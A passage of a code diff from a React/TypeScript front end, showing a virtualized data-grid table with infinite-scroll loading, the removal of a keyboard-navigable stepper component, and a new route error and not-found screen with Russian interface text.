|
||||
ariaHidden
|
||||
centerCellClassName="p-0"
|
||||
centerCellStyle={{ height, padding: 0 }}
|
||||
>
|
||||
{null}
|
||||
</DataGridTableVirtualUtilityRow>
|
||||
)
|
||||
}
|
||||
|
||||
function DataGridTableVirtualStatusRow<TData>({
|
||||
table,
|
||||
children,
|
||||
className,
|
||||
}: {
|
||||
table: Table<TData>
|
||||
children: ReactNode
|
||||
className?: string
|
||||
}) {
|
||||
return (
|
||||
<DataGridTableVirtualUtilityRow
|
||||
table={table}
|
||||
centerCellClassName={cn(
|
||||
"text-muted-foreground py-4 text-center text-sm",
|
||||
className
|
||||
)}
|
||||
>
|
||||
{children}
|
||||
</DataGridTableVirtualUtilityRow>
|
||||
)
|
||||
}
|
||||
|
||||
function DataGridTableVirtualBody<TData>({
|
||||
table,
|
||||
topRows,
|
||||
centerRows,
|
||||
bottomRows,
|
||||
virtualItems,
|
||||
totalSize,
|
||||
isVirtualizationEnabled,
|
||||
isInfiniteMode,
|
||||
isFetchingMore,
|
||||
hasMore,
|
||||
loadingMoreMessage,
|
||||
allRowsLoadedMessage,
|
||||
measureRowRef,
|
||||
}: VirtualBodyProps<TData>) {
|
||||
const { isLoading } = useDataGrid()
|
||||
const totalRows = topRows.length + centerRows.length + bottomRows.length
|
||||
|
||||
if (!totalRows) {
|
||||
// Initial load must not flash the empty state as if the query returned
|
||||
// nothing.
|
||||
if (isLoading) {
|
||||
return (
|
||||
<DataGridTableVirtualStatusRow table={table}>
|
||||
<div className="flex items-center justify-center gap-2">
|
||||
<Spinner className="size-4 opacity-60" />
|
||||
{loadingMoreMessage}
|
||||
</div>
|
||||
</DataGridTableVirtualStatusRow>
|
||||
)
|
||||
}
|
||||
|
||||
return <DataGridTableEmpty />
|
||||
}
|
||||
|
||||
const hasCenterRows = centerRows.length > 0
|
||||
const showFetchingRow = isInfiniteMode && isFetchingMore
|
||||
const showCompleteRow = isInfiniteMode && hasMore === false && totalRows > 0
|
||||
const hasMiddleSection = hasCenterRows || showFetchingRow || showCompleteRow
|
||||
const leadingSpacerHeight =
|
||||
isVirtualizationEnabled && hasCenterRows && virtualItems.length > 0
|
||||
? (virtualItems[0]?.start ?? 0)
|
||||
: 0
|
||||
const trailingSpacerHeight =
|
||||
isVirtualizationEnabled && hasCenterRows && virtualItems.length > 0
|
||||
? Math.max(
|
||||
0,
|
||||
totalSize - (virtualItems[virtualItems.length - 1]?.end ?? 0)
|
||||
)
|
||||
: 0
|
||||
|
||||
const renderedRows: ReactNode[] = []
|
||||
|
||||
topRows.forEach((row, index) => {
|
||||
renderedRows.push(
|
||||
<DataGridTableRenderedRow
|
||||
key={row.id}
|
||||
row={row}
|
||||
pinnedBoundary={
|
||||
index === topRows.length - 1 && hasMiddleSection ? "top" : undefined
|
||||
}
|
||||
/>
|
||||
)
|
||||
})
|
||||
|
||||
if (isVirtualizationEnabled) {
|
||||
if (leadingSpacerHeight > 0) {
|
||||
renderedRows.push(
|
||||
<DataGridTableVirtualSpacer
|
||||
key="virtual-spacer-start"
|
||||
table={table}
|
||||
height={leadingSpacerHeight}
|
||||
/>
|
||||
)
|
||||
}
|
||||
|
||||
virtualItems.forEach((virtualRow) => {
|
||||
const row = centerRows[virtualRow.index]
|
||||
|
||||
if (!row) return
|
||||
|
||||
renderedRows.push(
|
||||
<DataGridTableRenderedRow
|
||||
key={row.id}
|
||||
row={row}
|
||||
rowRef={measureRowRef}
|
||||
rowIndex={virtualRow.index}
|
||||
/>
|
||||
)
|
||||
})
|
||||
|
||||
if (trailingSpacerHeight > 0) {
|
||||
renderedRows.push(
|
||||
<DataGridTableVirtualSpacer
|
||||
key="virtual-spacer-end"
|
||||
table={table}
|
||||
height={trailingSpacerHeight}
|
||||
/>
|
||||
)
|
||||
}
|
||||
} else {
|
||||
centerRows.forEach((row) => {
|
||||
renderedRows.push(<DataGridTableRenderedRow key={row.id} row={row} />)
|
||||
})
|
||||
}
|
||||
|
||||
if (showFetchingRow) {
|
||||
renderedRows.push(
|
||||
<DataGridTableVirtualStatusRow key="virtual-status-loading" table={table}>
|
||||
<div className="flex items-center justify-center gap-2">
|
||||
<Spinner className="size-4 opacity-60" />
|
||||
{loadingMoreMessage}
|
||||
</div>
|
||||
</DataGridTableVirtualStatusRow>
|
||||
)
|
||||
}
|
||||
|
||||
if (showCompleteRow) {
|
||||
renderedRows.push(
|
||||
<DataGridTableVirtualStatusRow
|
||||
key="virtual-status-complete"
|
||||
table={table}
|
||||
className="py-3 text-xs"
|
||||
>
|
||||
{allRowsLoadedMessage}
|
||||
</DataGridTableVirtualStatusRow>
|
||||
)
|
||||
}
|
||||
|
||||
bottomRows.forEach((row, index) => {
|
||||
renderedRows.push(
|
||||
<DataGridTableRenderedRow
|
||||
key={row.id}
|
||||
row={row}
|
||||
pinnedBoundary={
|
||||
index === 0 && (topRows.length > 0 || hasMiddleSection)
|
||||
? "bottom"
|
||||
: undefined
|
||||
}
|
||||
/>
|
||||
)
|
||||
})
|
||||
|
||||
return <>{renderedRows}</>
|
||||
}
|
||||
|
||||
/**
|
||||
* Memoized virtual body: skip re-renders during active column resize.
|
||||
* Column widths update via CSS variables on the <table> element,
|
||||
* so the browser handles width changes without React re-renders.
|
||||
*/
|
||||
const MemoizedVirtualBody = memo(
|
||||
DataGridTableVirtualBody,
|
||||
(_prev, next) => !!next.table.getState().columnSizingInfo.isResizingColumn
|
||||
) as typeof DataGridTableVirtualBody
|
||||
|
||||
function DataGridTableVirtual<TData>({
|
||||
height,
|
||||
estimateSize = 48,
|
||||
overscan = 10,
|
||||
footerContent,
|
||||
renderHeader = true,
|
||||
onFetchMore,
|
||||
isFetchingMore = false,
|
||||
hasMore,
|
||||
fetchMoreOffset = 0,
|
||||
virtualizerOptions,
|
||||
}: DataGridTableVirtualProps<TData>) {
|
||||
const { table, props } = useDataGrid()
|
||||
const mergedHeaderGroups = getDataGridTableMergedHeaderGroups(table)
|
||||
const hasRightPinnedColumns = hasDataGridTableRightPinnedColumns(table)
|
||||
const { topRows, centerRows, bottomRows } = getDataGridTableRowSections(
|
||||
table,
|
||||
props.tableLayout?.rowsPinnable
|
||||
)
|
||||
const isInfiniteMode = typeof onFetchMore === "function"
|
||||
const [viewportElements, setViewportElements] =
|
||||
useState<DataGridTableVirtualScrollElements>({
|
||||
containerElement: null,
|
||||
scrollElement: null,
|
||||
})
|
||||
|
||||
const {
|
||||
estimateSize: customEstimateSize,
|
||||
getItemKey: customGetItemKey,
|
||||
getScrollElement: customGetScrollElement,
|
||||
measureElement: customMeasureElement,
|
||||
overscan: customOverscan,
|
||||
...virtualizerOptionsRest
|
||||
} = virtualizerOptions ?? {}
|
||||
|
||||
const isVirtualizationEnabled = virtualizerOptions?.enabled !== false
|
||||
const loadingMoreMessage =
|
||||
props.fetchingMoreMessage || props.loadingMessage || "Loading..."
|
||||
const allRowsLoadedMessage =
|
||||
props.allRowsLoadedMessage || "All records loaded"
|
||||
|
||||
const handleViewportRef = useCallback((node: HTMLDivElement | null) => {
|
||||
setViewportElements({
|
||||
containerElement: node,
|
||||
scrollElement: node
|
||||
? (getDataGridScrollAreaViewport(node) ?? node)
|
||||
: null,
|
||||
})
|
||||
}, [])
|
||||
|
||||
const usesExternalScrollArea =
|
||||
viewportElements.scrollElement !== null &&
|
||||
viewportElements.scrollElement !== viewportElements.containerElement
|
||||
|
||||
const resolveScrollElement = useCallback(() => {
|
||||
if (customGetScrollElement) {
|
||||
return customGetScrollElement(viewportElements)
|
||||
}
|
||||
|
||||
return viewportElements.scrollElement
|
||||
}, [customGetScrollElement, viewportElements])
|
||||
|
||||
const resolveItemKey = useCallback(
|
||||
(index: number) => {
|
||||
const row = centerRows[index]
|
||||
|
||||
if (!row) return index
|
||||
|
||||
return customGetItemKey?.(index, row) ?? row.id ?? index
|
||||
},
|
||||
[centerRows, customGetItemKey]
|
||||
)
|
||||
|
||||
const resolveEstimateSize = useCallback(
|
||||
(index: number) => {
|
||||
const row = centerRows[index]
|
||||
|
||||
return row
|
||||
? (customEstimateSize?.(index, row) ?? estimateSize)
|
||||
: estimateSize
|
||||
},
|
||||
[centerRows, customEstimateSize, estimateSize]
|
||||
)
|
||||
|
||||
const virtualizer = useVirtualizer({
|
||||
count: centerRows.length,
|
||||
getScrollElement: resolveScrollElement,
|
||||
getItemKey: resolveItemKey,
|
||||
estimateSize: resolveEstimateSize,
|
||||
overscan: customOverscan ?? overscan,
|
||||
measureElement: customMeasureElement,
|
||||
...virtualizerOptionsRest,
|
||||
}) as DataGridTableVirtualizerInstance
|
||||
|
||||
const virtualItems = isVirtualizationEnabled
|
||||
? virtualizer.getVirtualItems()
|
||||
: []
|
||||
const totalSize = isVirtualizationEnabled ? virtualizer.getTotalSize() : 0
|
||||
const measureRowRef =
|
||||
isVirtualizationEnabled && customMeasureElement
|
||||
? virtualizer.measureElement
|
||||
: undefined
|
||||
const resolvedFetchMoreOffset = Math.max(0, fetchMoreOffset)
|
||||
// Latch onFetchMore per row count: virtualItems gets a new identity every
|
||||
// scroll frame, so without it the effect fires duplicate page requests
|
||||
// before the consumer flips isFetchingMore, and loops at end-of-data when
|
||||
// hasMore is never set.
|
||||
const fetchMoreFiredAtCountRef = useRef<number | null>(null)
|
||||
|
||||
useEffect(() => {
|
||||
if (
|
||||
!isVirtualizationEnabled ||
|
||||
!isInfiniteMode ||
|
||||
hasMore === false ||
|
||||
isFetchingMore
|
||||
) {
|
||||
return
|
||||
}
|
||||
|
||||
const lastItem = virtualItems[virtualItems.length - 1]
|
||||
if (!lastItem) return
|
||||
|
||||
if (fetchMoreFiredAtCountRef.current === centerRows.length) return
|
||||
|
||||
if (lastItem.index >= centerRows.length - 1 - resolvedFetchMoreOffset) {
|
||||
fetchMoreFiredAtCountRef.current = centerRows.length
|
||||
onFetchMore?.()
|
||||
}
|
||||
}, [
|
||||
centerRows.length,
|
||||
hasMore,
|
||||
isFetchingMore,
|
||||
isInfiniteMode,
|
||||
isVirtualizationEnabled,
|
||||
onFetchMore,
|
||||
resolvedFetchMoreOffset,
|
||||
virtualItems,
|
||||
])
|
||||
|
||||
return (
|
||||
<DataGridTableViewport
|
||||
viewportRef={handleViewportRef}
|
||||
className={!usesExternalScrollArea ? "block" : undefined}
|
||||
style={
|
||||
usesExternalScrollArea
|
||||
? undefined
|
||||
: {
|
||||
height,
|
||||
overflow: "auto",
|
||||
position: "relative",
|
||||
// Standalone mode: this node IS the scroll container, so it
|
||||
// must stay at its parent's width (not the resizable table
|
||||
// width) or horizontal scrolling becomes impossible.
|
||||
width: "auto",
|
||||
}
|
||||
}
|
||||
>
|
||||
<DataGridTableBase>
|
||||
{renderHeader && (
|
||||
<DataGridTableHead>
|
||||
{mergedHeaderGroups.map((headerGroup) => (
|
||||
<DataGridTableHeadRow key={headerGroup.id} rowId={headerGroup.id}>
|
||||
{headerGroup.headers
|
||||
.filter((header) => header.column.getIsPinned() !== "right")
|
||||
.map((header) => {
|
||||
const { column } = header
|
||||
|
||||
return (
|
||||
<DataGridTableHeadRowCell header={header} key={header.id}>
|
||||
{header.isPlaceholder
|
||||
? null
|
||||
: flexRender(
|
||||
header.column.columnDef.header,
|
||||
header.getContext()
|
||||
)}
|
||||
{props.tableLayout?.columnsResizable &&
|
||||
column.getCanResize() && (
|
||||
<DataGridTableHeadRowCellResize header={header} />
|
||||
)}
|
||||
</DataGridTableHeadRowCell>
|
||||
)
|
||||
})}
|
||||
{props.tableLayout?.columnsResizable &&
|
||||
hasRightPinnedColumns ? (
|
||||
<DataGridTableFillHeadCell />
|
||||
) : null}
|
||||
{headerGroup.headers
|
||||
.filter((header) => header.column.getIsPinned() === "right")
|
||||
.map((header) => {
|
||||
const { column } = header
|
||||
|
||||
return (
|
||||
<DataGridTableHeadRowCell header={header} key={header.id}>
|
||||
{header.isPlaceholder
|
||||
? null
|
||||
: flexRender(
|
||||
header.column.columnDef.header,
|
||||
header.getContext()
|
||||
)}
|
||||
{props.tableLayout?.columnsResizable &&
|
||||
column.getCanResize() && (
|
||||
<DataGridTableHeadRowCellResize header={header} />
|
||||
)}
|
||||
</DataGridTableHeadRowCell>
|
||||
)
|
||||
})}
|
||||
{props.tableLayout?.columnsResizable &&
|
||||
!hasRightPinnedColumns ? (
|
||||
<DataGridTableFillHeadCell />
|
||||
) : null}
|
||||
</DataGridTableHeadRow>
|
||||
))}
|
||||
</DataGridTableHead>
|
||||
)}
|
||||
|
||||
{renderHeader &&
|
||||
(props.tableLayout?.stripped || !props.tableLayout?.rowBorder) && (
|
||||
<DataGridTableRowSpacer />
|
||||
)}
|
||||
|
||||
<DataGridTableBody>
|
||||
<MemoizedVirtualBody
|
||||
table={table}
|
||||
topRows={topRows}
|
||||
centerRows={centerRows}
|
||||
bottomRows={bottomRows}
|
||||
virtualItems={virtualItems}
|
||||
totalSize={totalSize}
|
||||
isVirtualizationEnabled={isVirtualizationEnabled}
|
||||
isInfiniteMode={isInfiniteMode}
|
||||
isFetchingMore={isFetchingMore}
|
||||
hasMore={hasMore}
|
||||
loadingMoreMessage={loadingMoreMessage}
|
||||
allRowsLoadedMessage={allRowsLoadedMessage}
|
||||
measureRowRef={measureRowRef}
|
||||
/>
|
||||
</DataGridTableBody>
|
||||
|
||||
{footerContent && (
|
||||
<DataGridTableFoot>{footerContent}</DataGridTableFoot>
|
||||
)}
|
||||
</DataGridTableBase>
|
||||
</DataGridTableViewport>
|
||||
)
|
||||
}
|
||||
|
||||
export { DataGridTableVirtual }
|
||||
export type {
|
||||
DataGridTableVirtualProps,
|
||||
DataGridTableVirtualScrollElements,
|
||||
DataGridTableVirtualizerOptions,
|
||||
}
|
||||
@@ -1,477 +0,0 @@
|
||||
import {
|
||||
Children,
|
||||
createContext,
|
||||
HTMLAttributes,
|
||||
isValidElement,
|
||||
ReactElement,
|
||||
useCallback,
|
||||
useContext,
|
||||
useEffect,
|
||||
useMemo,
|
||||
useRef,
|
||||
useState,
|
||||
} from "react"
|
||||
import { mergeProps } from "@base-ui/react/merge-props"
|
||||
import { useRender } from "@base-ui/react/use-render"
|
||||
|
||||
import { cn } from "@evofw/ui/lib/utils"
|
||||
|
||||
// Types
|
||||
type StepperOrientation = "horizontal" | "vertical"
|
||||
type StepState = "active" | "completed" | "inactive" | "loading"
|
||||
type StepIndicators = {
|
||||
active?: React.ReactNode
|
||||
completed?: React.ReactNode
|
||||
inactive?: React.ReactNode
|
||||
loading?: React.ReactNode
|
||||
}
|
||||
|
||||
interface StepperContextValue {
|
||||
activeStep: number
|
||||
setActiveStep: (step: number) => void
|
||||
stepsCount: number
|
||||
orientation: StepperOrientation
|
||||
registerTrigger: (node: HTMLButtonElement | null) => void
|
||||
triggerNodes: HTMLButtonElement[]
|
||||
focusNext: (currentIdx: number) => void
|
||||
focusPrev: (currentIdx: number) => void
|
||||
focusFirst: () => void
|
||||
focusLast: () => void
|
||||
indicators: StepIndicators
|
||||
}
|
||||
|
||||
interface StepItemContextValue {
|
||||
step: number
|
||||
state: StepState
|
||||
isDisabled: boolean
|
||||
isLoading: boolean
|
||||
}
|
||||
|
||||
const StepperContext = createContext<StepperContextValue | undefined>(undefined)
|
||||
const StepItemContext = createContext<StepItemContextValue | undefined>(
|
||||
undefined
|
||||
)
|
||||
|
||||
function useStepper() {
|
||||
const ctx = useContext(StepperContext)
|
||||
if (!ctx) throw new Error("useStepper must be used within a Stepper")
|
||||
return ctx
|
||||
}
|
||||
|
||||
function useStepItem() {
|
||||
const ctx = useContext(StepItemContext)
|
||||
if (!ctx) throw new Error("useStepItem must be used within a StepperItem")
|
||||
return ctx
|
||||
}
|
||||
|
||||
interface StepperProps extends HTMLAttributes<HTMLDivElement> {
|
||||
defaultValue?: number
|
||||
value?: number
|
||||
onValueChange?: (value: number) => void
|
||||
orientation?: StepperOrientation
|
||||
indicators?: StepIndicators
|
||||
}
|
||||
|
||||
function Stepper({
|
||||
defaultValue = 1,
|
||||
value,
|
||||
onValueChange,
|
||||
orientation = "horizontal",
|
||||
className,
|
||||
children,
|
||||
indicators = {},
|
||||
...props
|
||||
}: StepperProps) {
|
||||
const [activeStep, setActiveStep] = useState(defaultValue)
|
||||
const [triggerNodes, setTriggerNodes] = useState<HTMLButtonElement[]>([])
|
||||
|
||||
// Register/unregister triggers
|
||||
const registerTrigger = useCallback((node: HTMLButtonElement | null) => {
|
||||
setTriggerNodes((prev) => {
|
||||
if (node && !prev.includes(node)) {
|
||||
return [...prev, node]
|
||||
} else if (!node && prev.includes(node!)) {
|
||||
return prev.filter((n) => n !== node)
|
||||
} else {
|
||||
return prev
|
||||
}
|
||||
})
|
||||
}, [])
|
||||
|
||||
const handleSetActiveStep = useCallback(
|
||||
(step: number) => {
|
||||
if (value === undefined) {
|
||||
setActiveStep(step)
|
||||
}
|
||||
onValueChange?.(step)
|
||||
},
|
||||
[value, onValueChange]
|
||||
)
|
||||
|
||||
const currentStep = value ?? activeStep
|
||||
|
||||
// Keyboard navigation logic
|
||||
const focusTrigger = (idx: number) => {
|
||||
if (triggerNodes[idx]) triggerNodes[idx].focus()
|
||||
}
|
||||
const focusNext = (currentIdx: number) =>
|
||||
focusTrigger((currentIdx + 1) % triggerNodes.length)
|
||||
const focusPrev = (currentIdx: number) =>
|
||||
focusTrigger((currentIdx - 1 + triggerNodes.length) % triggerNodes.length)
|
||||
const focusFirst = () => focusTrigger(0)
|
||||
const focusLast = () => focusTrigger(triggerNodes.length - 1)
|
||||
|
||||
// Context value
|
||||
const contextValue = useMemo<StepperContextValue>(
|
||||
() => ({
|
||||
activeStep: currentStep,
|
||||
setActiveStep: handleSetActiveStep,
|
||||
stepsCount: Children.toArray(children).filter(
|
||||
(child): child is ReactElement =>
|
||||
isValidElement(child) &&
|
||||
(child.type as { displayName?: string }).displayName === "StepperItem"
|
||||
).length,
|
||||
orientation,
|
||||
registerTrigger,
|
||||
focusNext,
|
||||
focusPrev,
|
||||
focusFirst,
|
||||
focusLast,
|
||||
triggerNodes,
|
||||
indicators,
|
||||
}),
|
||||
[
|
||||
currentStep,
|
||||
handleSetActiveStep,
|
||||
children,
|
||||
orientation,
|
||||
registerTrigger,
|
||||
triggerNodes,
|
||||
]
|
||||
)
|
||||
|
||||
return (
|
||||
<StepperContext.Provider value={contextValue}>
|
||||
<div
|
||||
role="tablist"
|
||||
aria-orientation={orientation}
|
||||
data-slot="stepper"
|
||||
className={cn("w-full", className)}
|
||||
data-orientation={orientation}
|
||||
{...props}
|
||||
>
|
||||
{children}
|
||||
</div>
|
||||
</StepperContext.Provider>
|
||||
)
|
||||
}
|
||||
|
||||
interface StepperItemProps extends React.HTMLAttributes<HTMLDivElement> {
|
||||
step: number
|
||||
completed?: boolean
|
||||
disabled?: boolean
|
||||
loading?: boolean
|
||||
}
|
||||
|
||||
function StepperItem({
|
||||
step,
|
||||
completed = false,
|
||||
disabled = false,
|
||||
loading = false,
|
||||
className,
|
||||
children,
|
||||
...props
|
||||
}: StepperItemProps) {
|
||||
const { activeStep } = useStepper()
|
||||
|
||||
const state: StepState =
|
||||
completed || step < activeStep
|
||||
? "completed"
|
||||
: activeStep === step
|
||||
? "active"
|
||||
: "inactive"
|
||||
|
||||
const isLoading = loading && step === activeStep
|
||||
|
||||
return (
|
||||
<StepItemContext.Provider
|
||||
value={{ step, state, isDisabled: disabled, isLoading }}
|
||||
>
|
||||
<div
|
||||
data-slot="stepper-item"
|
||||
className={cn(
|
||||
"group/step flex items-center justify-center not-last:flex-1 group-data-[orientation=horizontal]/stepper-nav:flex-row group-data-[orientation=vertical]/stepper-nav:flex-col",
|
||||
className
|
||||
)}
|
||||
data-state={state}
|
||||
{...(isLoading ? { "data-loading": true } : {})}
|
||||
{...props}
|
||||
>
|
||||
{children}
|
||||
</div>
|
||||
</StepItemContext.Provider>
|
||||
)
|
||||
}
|
||||
|
||||
type StepperTriggerProps = useRender.ComponentProps<"button">
|
||||
|
||||
function StepperTrigger({
|
||||
className,
|
||||
children,
|
||||
tabIndex,
|
||||
render,
|
||||
...props
|
||||
}: StepperTriggerProps) {
|
||||
const { state, isLoading } = useStepItem()
|
||||
const stepperCtx = useStepper()
|
||||
const {
|
||||
setActiveStep,
|
||||
activeStep,
|
||||
registerTrigger,
|
||||
triggerNodes,
|
||||
focusNext,
|
||||
focusPrev,
|
||||
focusFirst,
|
||||
focusLast,
|
||||
} = stepperCtx
|
||||
const { step, isDisabled } = useStepItem()
|
||||
const isSelected = activeStep === step
|
||||
const id = `stepper-tab-${step}`
|
||||
const panelId = `stepper-panel-${step}`
|
||||
|
||||
// Register this trigger for keyboard navigation
|
||||
const btnRef = useRef<HTMLButtonElement>(null)
|
||||
useEffect(() => {
|
||||
if (btnRef.current) {
|
||||
registerTrigger(btnRef.current)
|
||||
}
|
||||
}, [btnRef.current])
|
||||
|
||||
// Find our index among triggers for navigation
|
||||
const myIdx = useMemo(
|
||||
() =>
|
||||
triggerNodes.findIndex((n: HTMLButtonElement) => n === btnRef.current),
|
||||
[triggerNodes, btnRef.current]
|
||||
)
|
||||
|
||||
const handleKeyDown = (e: React.KeyboardEvent<HTMLButtonElement>) => {
|
||||
switch (e.key) {
|
||||
case "ArrowRight":
|
||||
case "ArrowDown":
|
||||
e.preventDefault()
|
||||
if (myIdx !== -1 && focusNext) focusNext(myIdx)
|
||||
break
|
||||
case "ArrowLeft":
|
||||
case "ArrowUp":
|
||||
e.preventDefault()
|
||||
if (myIdx !== -1 && focusPrev) focusPrev(myIdx)
|
||||
break
|
||||
case "Home":
|
||||
e.preventDefault()
|
||||
if (focusFirst) focusFirst()
|
||||
break
|
||||
case "End":
|
||||
e.preventDefault()
|
||||
if (focusLast) focusLast()
|
||||
break
|
||||
case "Enter":
|
||||
case " ":
|
||||
e.preventDefault()
|
||||
setActiveStep(step)
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
const defaultProps = {
|
||||
role: "tab",
|
||||
id,
|
||||
"aria-selected": isSelected,
|
||||
"aria-controls": panelId,
|
||||
tabIndex: typeof tabIndex === "number" ? tabIndex : isSelected ? 0 : -1,
|
||||
"data-slot": "stepper-trigger",
|
||||
"data-state": state,
|
||||
"data-loading": isLoading,
|
||||
className: cn(
|
||||
"focus-visible:border-ring focus-visible:ring-ring/50 inline-flex cursor-pointer items-center outline-none focus-visible:z-10 focus-visible:ring-3 disabled:pointer-events-none disabled:opacity-60",
|
||||
"gap-2.5 rounded-full",
|
||||
className
|
||||
),
|
||||
onClick: () => setActiveStep(step),
|
||||
onKeyDown: handleKeyDown,
|
||||
disabled: isDisabled,
|
||||
children,
|
||||
}
|
||||
|
||||
return useRender({
|
||||
defaultTagName: "button",
|
||||
render,
|
||||
ref: btnRef,
|
||||
props: mergeProps<"button">(defaultProps, props),
|
||||
})
|
||||
}
|
||||
|
||||
function StepperIndicator({
|
||||
children,
|
||||
className,
|
||||
}: React.ComponentProps<"div">) {
|
||||
const { state, isLoading } = useStepItem()
|
||||
const { indicators } = useStepper()
|
||||
|
||||
return (
|
||||
<div
|
||||
data-slot="stepper-indicator"
|
||||
data-state={state}
|
||||
className={cn(
|
||||
"border-background bg-accent text-accent-foreground data-[state=completed]:bg-primary data-[state=completed]:text-primary-foreground data-[state=active]:bg-primary data-[state=active]:text-primary-foreground relative flex size-6 shrink-0 items-center justify-center overflow-hidden",
|
||||
"rounded-full text-xs",
|
||||
className
|
||||
)}
|
||||
>
|
||||
<div className="absolute">
|
||||
{indicators &&
|
||||
((isLoading && indicators.loading) ||
|
||||
(state === "completed" && indicators.completed) ||
|
||||
(state === "active" && indicators.active) ||
|
||||
(state === "inactive" && indicators.inactive))
|
||||
? (isLoading && indicators.loading) ||
|
||||
(state === "completed" && indicators.completed) ||
|
||||
(state === "active" && indicators.active) ||
|
||||
(state === "inactive" && indicators.inactive)
|
||||
: children}
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
function StepperSeparator({ className }: React.ComponentProps<"div">) {
|
||||
const { state } = useStepItem()
|
||||
|
||||
return (
|
||||
<div
|
||||
data-slot="stepper-separator"
|
||||
data-state={state}
|
||||
className={cn(
|
||||
"bg-muted rounded-sm group-data-[orientation=horizontal]/stepper-nav:h-0.5 group-data-[orientation=vertical]/stepper-nav:h-12 group-data-[orientation=vertical]/stepper-nav:w-0.5 m-0.5 group-data-[orientation=horizontal]/stepper-nav:flex-1",
|
||||
className
|
||||
)}
|
||||
/>
|
||||
)
|
||||
}
|
||||
|
||||
function StepperTitle({ children, className }: React.ComponentProps<"h3">) {
|
||||
const { state } = useStepItem()
|
||||
|
||||
return (
|
||||
<h3
|
||||
data-slot="stepper-title"
|
||||
data-state={state}
|
||||
className={cn(
|
||||
"text-sm leading-none font-medium",
|
||||
className
|
||||
)}
|
||||
>
|
||||
{children}
|
||||
</h3>
|
||||
)
|
||||
}
|
||||
|
||||
function StepperDescription({
|
||||
children,
|
||||
className,
|
||||
}: React.ComponentProps<"div">) {
|
||||
const { state } = useStepItem()
|
||||
|
||||
return (
|
||||
<div
|
||||
data-slot="stepper-description"
|
||||
data-state={state}
|
||||
className={cn(
|
||||
"text-muted-foreground text-sm",
|
||||
className
|
||||
)}
|
||||
>
|
||||
{children}
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
function StepperNav({ children, className }: React.ComponentProps<"nav">) {
|
||||
const { activeStep, orientation } = useStepper()
|
||||
|
||||
return (
|
||||
<nav
|
||||
data-slot="stepper-nav"
|
||||
data-state={activeStep}
|
||||
data-orientation={orientation}
|
||||
className={cn(
|
||||
"group/stepper-nav inline-flex data-[orientation=horizontal]:w-full data-[orientation=horizontal]:flex-row data-[orientation=vertical]:flex-col",
|
||||
className
|
||||
)}
|
||||
>
|
||||
{children}
|
||||
</nav>
|
||||
)
|
||||
}
|
||||
|
||||
function StepperPanel({ children, className }: React.ComponentProps<"div">) {
|
||||
const { activeStep } = useStepper()
|
||||
|
||||
return (
|
||||
<div
|
||||
data-slot="stepper-panel"
|
||||
data-state={activeStep}
|
||||
className={cn("w-full", className)}
|
||||
>
|
||||
{children}
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
interface StepperContentProps extends React.ComponentProps<"div"> {
|
||||
value: number
|
||||
forceMount?: boolean
|
||||
}
|
||||
|
||||
function StepperContent({
|
||||
value,
|
||||
forceMount,
|
||||
children,
|
||||
className,
|
||||
}: StepperContentProps) {
|
||||
const { activeStep } = useStepper()
|
||||
const isActive = value === activeStep
|
||||
|
||||
if (!forceMount && !isActive) {
|
||||
return null
|
||||
}
|
||||
|
||||
return (
|
||||
<div
|
||||
data-slot="stepper-content"
|
||||
data-state={activeStep}
|
||||
className={cn("w-full", className, !isActive && forceMount && "hidden")}
|
||||
hidden={!isActive && forceMount}
|
||||
>
|
||||
{children}
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
export {
|
||||
useStepper,
|
||||
useStepItem,
|
||||
Stepper,
|
||||
StepperItem,
|
||||
StepperTrigger,
|
||||
StepperIndicator,
|
||||
StepperSeparator,
|
||||
StepperTitle,
|
||||
StepperDescription,
|
||||
StepperPanel,
|
||||
StepperContent,
|
||||
StepperNav,
|
||||
type StepperProps,
|
||||
type StepperItemProps,
|
||||
type StepperTriggerProps,
|
||||
type StepperContentProps,
|
||||
}
|
||||
@@ -0,0 +1,66 @@
|
||||
import { Link } from '@tanstack/react-router'
|
||||
import { CircleAlertIcon, SearchXIcon } from 'lucide-react'
|
||||
import { Button } from '@evofw/ui/components/button'
|
||||
|
||||
/**
|
||||
* Route-level error/not-found fallbacks (ReUI Frame look, RU copy).
|
||||
* Preview: https://reui.io/preview/base/feature-4 (centered error panel)
|
||||
*/
|
||||
|
||||
/** Error thrown by the root guard while the browser is already navigating to the portal. */
|
||||
const PORTAL_REDIRECT_MESSAGE = 'redirecting to portal'
|
||||
|
||||
export function RouteErrorComponent({
|
||||
error,
|
||||
reset,
|
||||
}: {
|
||||
error: Error
|
||||
reset: () => void
|
||||
}) {
|
||||
if (error.message === PORTAL_REDIRECT_MESSAGE) return null
|
||||
|
||||
return (
|
||||
<div
|
||||
role="alert"
|
||||
className="flex min-h-[60vh] flex-col items-center justify-center gap-4 p-8 text-center"
|
||||
>
|
||||
<CircleAlertIcon className="text-destructive size-10" aria-hidden />
|
||||
<div className="space-y-1">
|
||||
<h1 className="text-lg font-semibold">Что-то пошло не так</h1>
|
||||
<p className="text-muted-foreground max-w-md text-sm">
|
||||
Раздел не загрузился. Проверьте соединение с API и попробуйте снова.
|
||||
</p>
|
||||
{import.meta.env.DEV && error.message ? (
|
||||
<p className="text-muted-foreground/80 font-mono text-xs">
|
||||
{error.message}
|
||||
</p>
|
||||
) : null}
|
||||
</div>
|
||||
<div className="flex gap-2">
|
||||
<Button size="sm" onClick={reset}>
|
||||
Повторить
|
||||
</Button>
|
||||
<Button size="sm" variant="outline" render={<Link to="/" />}>
|
||||
На главную
|
||||
</Button>
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
export function RouteNotFoundComponent() {
|
||||
return (
|
||||
<div className="flex min-h-[60vh] flex-col items-center justify-center gap-4 p-8 text-center">
|
||||
<SearchXIcon className="text-muted-foreground size-10" aria-hidden />
|
||||
<div className="space-y-1">
|
||||
<h1 className="text-lg font-semibold">Страница не найдена</h1>
|
||||
<p className="text-muted-foreground max-w-md text-sm">
|
||||
Адрес не существует или был перемещён.
|
||||
</p>
|
||||
</div>
|
||||
<Button size="sm" render={<Link to="/" />}>
|
||||
На главную
|
||||
</Button>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
@@ -54,21 +54,21 @@ const STATUS_LABELS: Record<string, string> = {
|
||||
active: 'Активен',
|
||||
synced: 'Синхронизировано',
|
||||
